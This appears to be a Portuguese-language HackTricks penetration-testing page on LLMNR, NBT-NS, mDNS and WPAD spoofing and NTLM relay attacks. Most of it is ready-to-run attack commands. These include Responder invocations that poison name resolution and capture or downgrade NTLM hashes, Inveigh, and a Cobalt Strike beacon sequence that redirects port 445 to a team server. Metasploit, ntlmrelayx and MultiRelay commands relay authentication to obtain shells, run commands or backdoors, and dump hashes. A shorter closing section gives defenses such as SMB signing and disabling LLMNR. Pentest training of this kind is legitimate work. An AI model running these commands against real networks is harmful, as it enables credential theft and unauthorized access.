mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
306 lines
20 KiB
Markdown
306 lines
20 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relay
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Protocolos de rede
|
|
|
|
### LLMNR, NBT-NS e mDNS
|
|
|
|
Sistemas Microsoft utilizam Link-Local Multicast Name Resolution (LLMNR) e NetBIOS Name Service (NBT-NS) para resolução local de hosts quando consultas DNS falham. Apple Bonjour e implementações Linux de configuração zero usam Multicast DNS (mDNS) para descobrir sistemas dentro de uma rede. Esses protocolos são não autenticados e transmitem mensagens via UDP; assim, atacantes podem explorá-los para direcionar usuários a serviços maliciosos.
|
|
|
|
Você pode se passar por serviços que estão sendo procurados pelos hosts usando Responder para enviar respostas falsas.\
|
|
Leia aqui mais informações sobre [como se passar por serviços com Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
|
|
|
### WPAD
|
|
|
|
Muitos navegadores usam Web Proxy Auto-Discovery (WPAD) para carregar configurações de proxy da rede. Um servidor WPAD fornece configurações de proxy para o cliente via uma URL específica (ex.: _http://wpad.example.org/wpad.dat_) após ser identificado por qualquer um dos seguintes:
|
|
|
|
* DHCP, usando uma entrada de código 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
|
|
* DNS, procurando pelo hostname _wpad_ no domínio local
|
|
* Microsoft LLMNR e NBT-NS (em caso de falha na consulta DNS)
|
|
|
|
Responder automatiza o ataque WPAD—executando um proxy e direcionando clientes a um servidor WPAD malicioso via DHCP, DNS, LLMNR e NBT-NS.
|
|
|
|
## Envenenamento de Protocolos
|
|
|
|
### Responder - LLMNR, NBT-NS e MDNS
|
|
|
|
> Responder é um envenenador de LLMNR, NBT-NS e MDNS. Ele responderá a consultas _específicas_ de NBT-NS (NetBIOS Name Service) baseadas no sufixo do nome (veja: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). Por padrão, a ferramenta responderá apenas a solicitações do File Server Service, que é para SMB.
|
|
>
|
|
> O conceito por trás disso é direcionar nossas respostas e ser mais discreto na rede. Isso também ajuda a garantir que não interrompamos o comportamento legítimo do NBT-NS.
|
|
|
|
* [**Responder**](https://github.com/lgandx/Responder) já vem instalado por padrão no kali e o arquivo de configuração está localizado em \*\*`/etc/responder/Responder.conf` \*\* (aqui você pode desativar servidores falsos)
|
|
* **Responder** irá **exibir hashes na tela** e **escrever** em um **arquivo de log** por host localizado no diretório `/usr/share/responder/logs`. Hashes são salvos no formato `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt`
|
|
* Você pode encontrar o Responder para **windows** [aqui](https://github.com/lgandx/Responder-Windows)
|
|
* Responder funciona em **ipv4** & **ipv6**
|
|
|
|
#### Parâmetros do Responder
|
|
|
|
Responder suporta as seguintes opções:
|
|
```
|
|
--version show program's version number and exit
|
|
-h, --help show this help message and exit
|
|
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
|
BROWSER, LLMNR requests without responding.
|
|
-I eth0, --interface=eth0
|
|
Network interface to use, you can use 'ALL' as a
|
|
wildcard for all interfaces
|
|
-i 10.0.0.21, --ip=10.0.0.21
|
|
Local IP to use (only for OSX)
|
|
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
|
Poison all requests with another IPv6 address than
|
|
Responder's one.
|
|
-e 10.0.0.22, --externalip=10.0.0.22
|
|
Poison all requests with another IP address than
|
|
Responder's one.
|
|
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
|
-r, --wredir Enable answers for netbios wredir suffix queries.
|
|
Answering to wredir will likely break stuff on the
|
|
network. Default: False
|
|
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
|
option will inject a WPAD server in the DHCP response.
|
|
Default: False
|
|
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
|
response, otherwise a WPAD server will be added.
|
|
Default: False
|
|
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
|
False
|
|
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
|
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
|
outgoing requests (format: host:port)
|
|
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
|
retrieval. This may cause a login prompt. Default:
|
|
False
|
|
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
|
authentication for the proxy. WPAD doesn't need to be
|
|
ON. This option is highly effective when combined with
|
|
-r. Default: False
|
|
--lm Force LM hashing downgrade for Windows XP/2003 and
|
|
earlier. Default: False
|
|
--disable-ess Force ESS downgrade. Default: False
|
|
-v, --verbose Increase verbosity.
|
|
```
|
|
<details>
|
|
|
|
<summary>Parâmetros de Resposta</summary>
|
|
|
|
* A flag `-A` nos coloca em **modo de análise**, permitindo-nos ver solicitações NBT-NS, BROWSER e LLMNR no ambiente sem envenenar quaisquer respostas.
|
|
* Devemos sempre fornecer uma interface ou um IP.
|
|
* `-wf` iniciará o servidor proxy WPAD malicioso
|
|
* `-f` tentará identificar o sistema operacional do host remoto e a versão
|
|
* Use a flag `-v` para aumentar a verbosidade (muitos dados adicionais impressos no console)
|
|
* Opções como `-F` e `-P` podem ser usadas para forçar a autenticação NTLM ou Básica e forçar a autenticação do proxy, mas podem causar um prompt de login, portanto, devem ser usadas com parcimônia.
|
|
* A flag `-w` utiliza o servidor proxy WPAD integrado. Isso pode ser altamente eficaz, especialmente em grandes organizações, porque capturará todas as solicitações HTTP por quaisquer usuários que iniciem o Internet Explorer se o navegador tiver as [Configurações de detecção automática](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) ativadas.
|
|
|
|
</details>
|
|
|
|
#### Executando o Responder
|
|
|
|
Para executar o comportamento padrão do Responder, você só precisa executar:
|
|
```bash
|
|
responder -I <Iface> #Default conf
|
|
responder -I <Iface> -P -r -v #More chances but might break things
|
|
```
|
|
Uma técnica interessante é usar o responder para rebaixar a autenticação NTLM quando possível. Isso permitirá **capturar desafios e respostas NTLMv1** em vez de NTLMv2 que podem ser **facilmente quebrados** [**seguindo este guia**](../../windows-hardening/ntlm/#ntlmv1-attack)**.**
|
|
```bash
|
|
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
|
|
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
|
|
```
|
|
Por **padrão**, a **impersonação WPAD não será executada**, mas você pode executá-la fazendo:
|
|
```bash
|
|
responder -I <Iface> --wpad
|
|
```
|
|
Você também pode **resolver solicitações NetBIOS** com **seu IP**. E criar um **proxy de autenticação**:
|
|
```bash
|
|
responder.py -I <interface> -Pv
|
|
```
|
|
```markdown
|
|
Você não conseguirá interceptar hashes NTLM (normalmente), mas pode facilmente capturar alguns **desafios e respostas NTLM** que você pode **quebrar** usando, por exemplo, a opção _**john**_ `--format=netntlmv2`.
|
|
|
|
Os **logs e os desafios** da instalação padrão do _**Responder**_ no kali podem ser encontrados em `/usr/share/responder/logs`
|
|
|
|
#### Responder - Envenenamento DHCP
|
|
|
|
O Windows usa várias opções DHCP personalizadas, como NetBIOS, WINS, configurações WPAD. Quando uma estação de trabalho envia uma solicitação DHCP para obter suas configurações de rede, essas configurações adicionais podem ser incluídas na resposta DHCP para facilitar a conectividade direta e a resolução de nomes.
|
|
|
|
Falsificar respostas DHCP sem interrupção pode ser desafiador, pois você está interferindo na configuração de rede de uma estação de trabalho. Geralmente, você precisa ter um conhecimento muito bom da sub-rede alvo, onde está o servidor DNS, onde está o switch, tabela de roteamento, domínio, máscara de rede, servidor DHCP, etc. **Qualquer erro com essas configurações resultará em interrupção na rede.**
|
|
|
|
No entanto, falsificar respostas DHCP tem benefícios únicos. **É definitivamente mais furtivo do que envenenamento ARP**; Uma resposta unicast é suficiente para envenenar permanentemente as informações de roteamento de uma vítima, também é comum ver vários servidores DHCP operando em uma rede. Respostas DHCP unicast são mais complexas de detectar, alguns switches fornecem configurações de segurança para evitar o snooping DHCP, no entanto, essas configurações não são diretas e muitas vezes são configuradas incorretamente quando ativadas.
|
|
|
|
> Este ataque é altamente eficaz e garante hashes NTLMv1/2.
|
|
```
|
|
```bash
|
|
./Responder.py -I eth0 -Pdv
|
|
```
|
|
#### Responder - Capturando credenciais
|
|
|
|
Responder vai **se passar por todos os serviços usando os protocolos mencionados**. Uma vez que algum usuário tente acessar um serviço que está sendo resolvido usando esses protocolos, **ele tentará se autenticar contra o Responder** e o Responder será capaz de **capturar** as "credenciais" (provavelmente um **Desafio/Resposta NTLMv2**):
|
|
|
|
É possível tentar rebaixar para NetNTLMv1 ou tentar desativar o ESS.
|
|
|
|
![](<../../.gitbook/assets/poison (1) (1) (1).jpg>)
|
|
|
|
### Inveigh - Responder em C#/PowerShell
|
|
|
|
> Inveigh é uma ferramenta de spoofing e man-in-the-middle para ADIDNS/LLMNR/NBNS/mDNS/DNS em PowerShell, projetada para auxiliar pentesters/equipes vermelhas que estão limitados a um sistema Windows.
|
|
|
|
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) era um script PowerShell, agora é um binário C# que possui as mesmas principais funcionalidades do Responder. Há uma [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) \*\*\*\* que lista todos os parâmetros e instruções de uso.\
|
|
Outra versão pode ser encontrada em [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero).
|
|
|
|
![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png)
|
|
|
|
Ou execute-o com mais opções:
|
|
```powershell
|
|
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
Ou execute a versão C#:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
## Ataque NTLM Relay
|
|
|
|
Este ataque redireciona **sessões de autenticação SMB** em uma rede interna para uma **máquina alvo**. Se a **sessão de autenticação for bem-sucedida**, você será automaticamente levado a um **shell do sistema**. Por favor, note que a autenticação redirecionada deve ser de um **usuário que tenha acesso de Administrador Local ao host redirecionado** e **a assinatura SMB deve estar desativada**.
|
|
|
|
### Encaminhamento e tunelamento da porta 445
|
|
|
|
{% hint style="warning" %}
|
|
Se você pode **introduzir uma máquina dentro da rede**, você pode usar qualquer uma das **ferramentas** da seção seguinte para realizar um ataque de relay e você não precisa se preocupar com isso.
|
|
{% endhint %}
|
|
|
|
No entanto, em equipes de pentesting isso não é o caso, em equipes de pentesting você geralmente precisará **encaminhar o tráfego da porta 445 de uma máquina Windows para a sua máquina** executando qualquer uma das seguintes ferramentas e depois **redirecionar o tráfego dessa ferramenta através de um proxy** para alcançar a máquina a ser atacada dentro da rede interna.
|
|
|
|
A ferramenta [**PortBender**](https://github.com/praetorian-inc/PortBender) é um driver para **redirecionar** o tráfego destinado à porta **445 para outra porta** (por exemplo, 8445) que **podemos vincular**. Ele **requer acesso de administrador local** para que o driver seja carregado. Faz sentido usar `cd C:\Windows\System32\drivers` já que é onde a maioria dos drivers do Windows são instalados.
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Go to drivers dir
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
|
|
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server
|
|
|
|
# To kill
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### Metasploit
|
|
```bash
|
|
setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
|
|
set SRVHOST <local_ip>
|
|
set SRVPORT 445
|
|
set SMBHOST <ip_to_auth_to>
|
|
run -j
|
|
```
|
|
### smbrelayx
|
|
```bash
|
|
python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
|
|
# By default it will just dump hashes
|
|
# To execute a command use: -c "ipconfig"
|
|
# To execute a backdoor use: -e "/path/to/backdoor
|
|
|
|
# Attack through socks proxy
|
|
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
|
|
```
|
|
### MultiRelay
|
|
|
|
Se você quiser usar o **MultiRelay**, vá para _**/usr/share/responder/tools**_ e execute o MultiRelay (`-t <IP alvo> -u <Usuário>`):
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
|
|
# By default a shell is returned
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes
|
|
|
|
# Use proxychains if you need to route the traffic to reach the attacked ip
|
|
```
|
|
### Forçar Logins NTLM
|
|
|
|
No Windows, **você pode forçar algumas contas privilegiadas a se autenticarem em máquinas arbitrárias**. Leia a seguinte página para aprender como:
|
|
|
|
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
|
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Solução
|
|
|
|
### Desativando LLMNR
|
|
|
|
Para desativar o LLMNR no seu domínio para clientes DNS, abra gpedit.msc.\
|
|
Navegue até Configuração do Computador->Modelos Administrativos->Rede->Cliente DNS.\
|
|
Localize a opção “Desativar resolução de nome multicast” e clique em “configuração da política”:
|
|
|
|
![](../../.gitbook/assets/1.jpg)
|
|
|
|
Uma vez que a nova janela abrir, habilite esta opção, pressione Aplicar e clique OK:
|
|
|
|
![](../../.gitbook/assets/2.jpg)
|
|
|
|
### **Desativando NBT-NS**
|
|
|
|
Uma opção para desativar o NBT-NS é usar opções de escopo DHCP.
|
|
|
|
Se estiver usando o servidor DHCP da Microsoft, selecione o escopo que você deseja desativar o NBT-NS. Clique com o botão direito em “Opções de Escopo” e clique em “Configurar Opções”. No exemplo abaixo, o escopo DHCP no qual desejo desativar o NBT-NS é 192.168.1.100.
|
|
|
|
![](../../.gitbook/assets/3.jpg)
|
|
|
|
Na janela Opções de Escopo, navegue até a aba avançada, mude a janela suspensa para “Opções do Microsoft Windows 2000”:
|
|
|
|
![](../../.gitbook/assets/4.jpg)
|
|
|
|
Selecione a opção “001 Microsoft Disable Netbios Option” da lista e mude seu valor para “0x2”, clique em Aplicar e depois OK:
|
|
|
|
![](../../.gitbook/assets/5.jpg)
|
|
|
|
### WPAD
|
|
|
|
Para mitigar contra o ataque WPAD, você pode adicionar uma entrada para "wpad" na sua zona DNS. Note que a entrada DNS não precisa apontar para um servidor WPAD válido. Contanto que as consultas sejam resolvidas, o ataque será prevenido.
|
|
|
|
### Multi-relay
|
|
|
|
1\. **Forçando Assinatura SMB em todas as máquinas Windows locais**. Esta configuração assinará digitalmente cada sessão SMB, o que obriga tanto o cliente quanto o servidor a verificar a origem dos pacotes antes de continuar. Esta configuração só está habilitada por padrão nos Controladores de Domínio. Os seguintes artigos da Microsoft detalham essas configurações (que podem ser habilitadas através de política de grupo) e como implementá-las.
|
|
|
|
[https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/)
|
|
|
|
[https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always)
|
|
|
|
2\. **Revisando e garantindo que os usuários na rede local só possam fazer login remotamente em máquinas nas quais seja necessário**. Por exemplo: Sally só pode fazer login na estação de trabalho da Sally. Se um atacante interceptar a sessão de autenticação SMB da Sally, ele não poderá redirecionar a sessão para nenhuma estação de trabalho, tornando este método inútil.
|
|
|
|
3\. **Restringir a Autenticação NTLM na rede local tanto quanto possível**. Este ataque não pode tirar vantagem da autenticação Kerberos, então limitando a quantidade de NTLM que está ocorrendo, este ataque pode ser grandemente dificultado. Há informações da Microsoft sobre como fazer isso, mas seja avisado... Se a autenticação Kerberos falhar por qualquer motivo, geralmente recorre-se ao NTLM. Se você desativá-lo completamente, sua rede pode parar de funcionar.
|
|
|
|
4\. **Prevenir usuários não autorizados na sua rede**. Uma ameaça interna provavelmente não estará utilizando um ataque de Relay SMB, já que já possuem credenciais de rede. Ao reforçar suas políticas de segurança física, prevenindo dispositivos não autorizados na rede com ACLs e Filtragem MAC, e garantindo uma segmentação de rede adequada, você pode limitar grandemente a ameaça deste ataque ser realizado.
|
|
|
|
## Referências
|
|
|
|
* [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
* **Imagens de:**\
|
|
[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\
|
|
[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\
|
|
[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\
|
|
[https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
|
|
|
</details>
|